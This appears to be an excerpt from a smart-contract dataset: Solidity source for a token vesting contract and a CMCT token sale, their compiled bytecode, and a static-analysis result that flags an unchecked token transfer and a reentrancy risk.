require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,226 |
0x5Fe56CB82b3D88B6e37d3A9Dba8f5b40b28dDA7E
|
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract OwnedInterface {
function getOwner() public view returns(address);
function changeOwner(address) public returns (bool);
}
contract Owned is OwnedInterface {
address private contractOwner;
event LogOwnerChanged(
address oldOwner,
address newOwner);
modifier onlyOwner {
require(msg.sender == contractOwner);
_;
}
function Owned() public {
contractOwner = msg.sender;
}
function getOwner() public view returns(address owner) {
return contractOwner;
}
function changeOwner(address newOwner)
public
onlyOwner
returns(bool success)
{
require(newOwner != 0);
LogOwnerChanged(contractOwner, newOwner);
contractOwner = newOwner;
return true;
}
}
contract TimeLimitedStoppableInterface is OwnedInterface
{
function isRunning() public view returns(bool contractRunning);
function setRunSwitch(bool) public returns(bool onOff);
}
contract TimeLimitedStoppable is TimeLimitedStoppableInterface, Owned
{
bool private running;
uint private finalBlock;
modifier onlyIfRunning
{
require(running);
_;
}
event LogSetRunSwitch(address sender, bool isRunning);
event LogSetFinalBlock(address sender, uint lastBlock);
function TimeLimitedStoppable() public {
running = true;
finalBlock = now + 390 days;
LogSetRunSwitch(msg.sender, true);
LogSetFinalBlock(msg.sender, finalBlock);
}
function isRunning()
public
view
returns(bool contractRunning)
{
return running && now <= finalBlock;
}
function getLastBlock() public view returns(uint lastBlock) {
return finalBlock;
}
function setRunSwitch(bool onOff)
public
onlyOwner
returns(bool success)
{
LogSetRunSwitch(msg.sender, onOff);
running = onOff;
return true;
}
function SetFinalBlock(uint lastBlock)
public
onlyOwner
returns(bool success)
{
finalBlock = lastBlock;
LogSetFinalBlock(msg.sender, finalBlock);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract CMCTInterface is ERC20 {
function isCMCT() public pure returns(bool isIndeed);
}
contract CMCT is CMCTInterface, StandardToken, CanReclaimToken {
string public name = "Crowd Machine Compute Token";
string public symbol = "CMCT";
uint8 public decimals = 8;
uint256 public INITIAL_SUPPLY = uint(2000000000) * (10 ** uint256(decimals));
function CMCT() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function isCMCT() public pure returns(bool isIndeed) {
return true;
}
}
contract CmctSaleInterface is TimeLimitedStoppableInterface, CanReclaimToken {
struct FunderStruct {
bool registered;
bool approved;
}
mapping(address => FunderStruct) public funderStructs;
function isUser(address user) public view returns(bool isIndeed);
function isApproved(address user) public view returns(bool isIndeed);
function registerSelf(bytes32 uid) public returns(bool success);
function registerUser(address user, bytes32 uid) public returns(bool success);
function approveUser(address user, bytes32 uid) public returns(bool success);
function disapproveUser(address user, bytes32 uid) public returns(bool success);
function withdrawEth(uint amount, address to, bytes32 uid) public returns(bool success);
function relayCMCT(address receiver, uint amount, bytes32 uid) public returns(bool success);
function bulkRelayCMCT(address[] receivers, uint[] amounts, bytes32 uid) public returns(bool success);
function () public payable;
}
contract CmctSale is CmctSaleInterface, TimeLimitedStoppable {
CMCTInterface cmctToken;
event LogSetTokenAddress(address sender, address cmctContract);
event LogUserRegistered(address indexed sender, address indexed user, bytes32 indexed uid);
event LogUserApproved(address indexed sender, address user, bytes32 indexed uid);
event LogUserDisapproved(address indexed sender, address user, bytes32 indexed uid);
event LogEthWithdrawn(address indexed sender, address indexed to, uint amount, bytes32 indexed uid);
event LogCMCTRelayFailed(address indexed sender, address indexed receiver, uint amount, bytes32 indexed uid);
event LogCMCTRelayed(address indexed sender, address indexed receiver, uint amount, bytes32 indexed uid);
event LogEthReceived(address indexed sender, uint amount);
modifier onlyifInitialized {
require(cmctToken.isCMCT());
_;
}
function
CmctSale(address cmctContract)
public
{
require(cmctContract != 0);
cmctToken = CMCTInterface(cmctContract);
LogSetTokenAddress(msg.sender, cmctContract);
}
function setTokenAddress(address cmctContract) public onlyOwner returns(bool success) {
require(cmctContract != 0);
cmctToken = CMCTInterface(cmctContract);
LogSetTokenAddress(msg.sender, cmctContract);
return true;
}
function getTokenAddress() public view returns(address cmctContract) {
return cmctToken;
}
function isUser(address user) public view returns(bool isIndeed) {
return funderStructs[user].registered;
}
function isApproved(address user) public view returns(bool isIndeed) {
if(!isUser(user)) return false;
return(funderStructs[user].approved);
}
function registerSelf(bytes32 uid) public onlyIfRunning returns(bool success) {
require(!isUser(msg.sender));
funderStructs[msg.sender].registered = true;
LogUserRegistered(msg.sender, msg.sender, uid);
return true;
}
function registerUser(address user, bytes32 uid) public onlyOwner onlyIfRunning returns(bool success) {
require(!isUser(user));
funderStructs[user].registered = true;
LogUserRegistered(msg.sender, user, uid);
return true;
}
function approveUser(address user, bytes32 uid) public onlyOwner onlyIfRunning returns(bool success) {
require(isUser(user));
require(!isApproved(user));
funderStructs[user].approved = true;
LogUserApproved(msg.sender, user, uid);
return true;
}
function disapproveUser(address user, bytes32 uid) public onlyOwner onlyIfRunning returns(bool success) {
require(isUser(user));
require(isApproved(user));
funderStructs[user].approved = false;
LogUserDisapproved(msg.sender, user, uid);
return true;
}
function withdrawEth(uint amount, address to, bytes32 uid) public onlyOwner returns(bool success) {
LogEthWithdrawn(msg.sender, to, amount, uid);
to.transfer(amount);
return true;
}
function relayCMCT(address receiver, uint amount, bytes32 uid) public onlyOwner onlyIfRunning onlyifInitialized returns(bool success) {
if(!isApproved(receiver)) {
LogCMCTRelayFailed(msg.sender, receiver, amount, uid);
return false;
} else {
LogCMCTRelayed(msg.sender, receiver, amount, uid);
require(cmctToken.transfer(receiver, amount));
return true;
}
}
function bulkRelayCMCT(address[] receivers, uint[] amounts, bytes32 uid) public onlyOwner onlyIfRunning onlyifInitialized returns(bool success) {
for(uint i=0; i<receivers.length; i++) {
if(!isApproved(receivers[i])) {
LogCMCTRelayFailed(msg.sender, receivers[i], amounts[i], uid);
} else {
LogCMCTRelayed(msg.sender, receivers[i], amounts[i], uid);
require(cmctToken.transfer(receivers[i], amounts[i]));
}
}
return true;
}
function () public onlyIfRunning payable {
require(isApproved(msg.sender));
LogEthReceived(msg.sender, msg.value);
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a95dbfa1461019c57806310fe9ae8146101fa57806317ffc3201461024f5780631ab681e8146102885780632014e5d1146102ef57806326a4e8d21461031c578063306a2ea81461036d57806337d004b3146103cb5780634209fff11461048a578063673448dd146104db5780637641a8c61461052c5780637f2c4ca81461056757806385c3649f14610590578063893d20e8146105cf5780638b3df465146106245780638da5cb5b14610680578063a6f9dae1146106d5578063d7e0b6e314610726578063f17b6d9b14610784578063f2fde38b146107eb578063fb28311114610824575b600260149054906101000a900460ff16151561013857600080fd5b61014133610861565b151561014c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f9f989b0392c81cb6bb0358162e1a39467776f69799ba0137b0fc0c3a5efac9bd346040518082815260200191505060405180910390a2005b34156101a757600080fd5b6101e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035600019169060200190919050506108d3565b604051808215151515815260200191505060405180910390f35b341561020557600080fd5b61020d610a58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561025a57600080fd5b610286600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a82565b005b341561029357600080fd5b6102d5600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560001916906020019091905050610bf0565b604051808215151515815260200191505060405180910390f35b34156102fa57600080fd5b610302610d03565b604051808215151515815260200191505060405180910390f35b341561032757600080fd5b610353600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d28565b604051808215151515815260200191505060405180910390f35b341561037857600080fd5b6103b1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560001916906020019091905050610e8d565b604051808215151515815260200191505060405180910390f35b34156103d657600080fd5b6104706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803560001916906020019091905050611012565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b6104c1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113e4565b604051808215151515815260200191505060405180910390f35b34156104e657600080fd5b610512600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610861565b604051808215151515815260200191505060405180910390f35b341561053757600080fd5b61054d600480803590602001909190505061143d565b604051808215151515815260200191505060405180910390f35b341561057257600080fd5b61057a611518565b6040518082815260200191505060405180910390f35b341561059b57600080fd5b6105b5600480803560001916906020019091905050611522565b604051808215151515815260200191505060405180910390f35b34156105da57600080fd5b6105e2611616565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062f57600080fd5b61065b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611640565b6040518083151515158152602001821515151581526020019250505060405180910390f35b341561068b57600080fd5b61069361167e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106e057600080fd5b61070c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116a3565b604051808215151515815260200191505060405180910390f35b341561073157600080fd5b61076a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190505061182a565b604051808215151515815260200191505060405180910390f35b341561078f57600080fd5b6107d1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080356000191690602001909190505061197b565b604051808215151515815260200191505060405180910390f35b34156107f657600080fd5b610822600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c93565b005b341561082f57600080fd5b61084760048080351515906020019091905050611de9565b604051808215151515815260200191505060405180910390f35b600061086c826113e4565b151561087b57600090506108ce565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff1690505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093157600080fd5b600260149054906101000a900460ff16151561094c57600080fd5b610955836113e4565b151561096057600080fd5b61096983610861565b15151561097557600080fd5b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff02191690831515021790555081600019163373ffffffffffffffffffffffffffffffffffffffff167f1b750c43ab1bae9965df503c57ab73b27b282a538348ea8b801e7bf916e4c12b85604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a36001905092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610b8357600080fd5b6102c65a03f11515610b9457600080fd5b505050604051805190509050610bec6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16611ed99092919063ffffffff16565b5050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4e57600080fd5b81600019168373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f6eb2411330102036b435d8bd6d2501d17bea59bae28b7b245d7c56c91b67a397876040518082815260200191505060405180910390a48273ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501515610cf857600080fd5b600190509392505050565b6000600260149054906101000a900460ff168015610d2357506003544211155b905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8657600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610dac57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507ffdb6df53ff1c9c878055d49bbba211e6662d3ab02cc345b189aed0b67f4808fc3383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160019050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eeb57600080fd5b600260149054906101000a900460ff161515610f0657600080fd5b610f0f836113e4565b1515610f1a57600080fd5b610f2383610861565b1515610f2e57600080fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff02191690831515021790555081600019163373ffffffffffffffffffffffffffffffffffffffff167f3c819313b5f2577d5dcf2a85f7cadc08a1006ba018de3676047a1080a6d9e3a985604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a36001905092915050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107157600080fd5b600260149054906101000a900460ff16151561108c57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c46e614a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561111a57600080fd5b6102c65a03f1151561112b57600080fd5b50505060405180519050151561114057600080fd5b600090505b84518110156113d85761116e858281518110151561115f57fe5b90602001906020020151610861565b1515611211578260001916858281518110151561118757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8ac760e87e60a4c37170bf8340341983802895eefb6b715f24f23a044feb333f87858151811015156111ed57fe5b906020019060200201516040518082815260200191505060405180910390a46113cb565b8260001916858281518110151561122457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f24ec9cd00c1d6cafa876fe4ef1118bc09ba5a030dda4142be5efe572c46e2970878581518110151561128a57fe5b906020019060200201516040518082815260200191505060405180910390a4600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86838151811015156112f557fe5b90602001906020020151868481518110151561130d57fe5b906020019060200201516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156113a457600080fd5b6102c65a03f115156113b557600080fd5b5050506040518051905015156113ca57600080fd5b5b8080600101915050611145565b60019150509392505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149b57600080fd5b816003819055507fc60bdf48043ed7fd188355e5ea945c16b3193b41b064d1211be8ce9ba076a3c233600354604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160019050919050565b6000600354905090565b6000600260149054906101000a900460ff16151561153f57600080fd5b611548336113e4565b15151561155457600080fd5b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555081600019163373ffffffffffffffffffff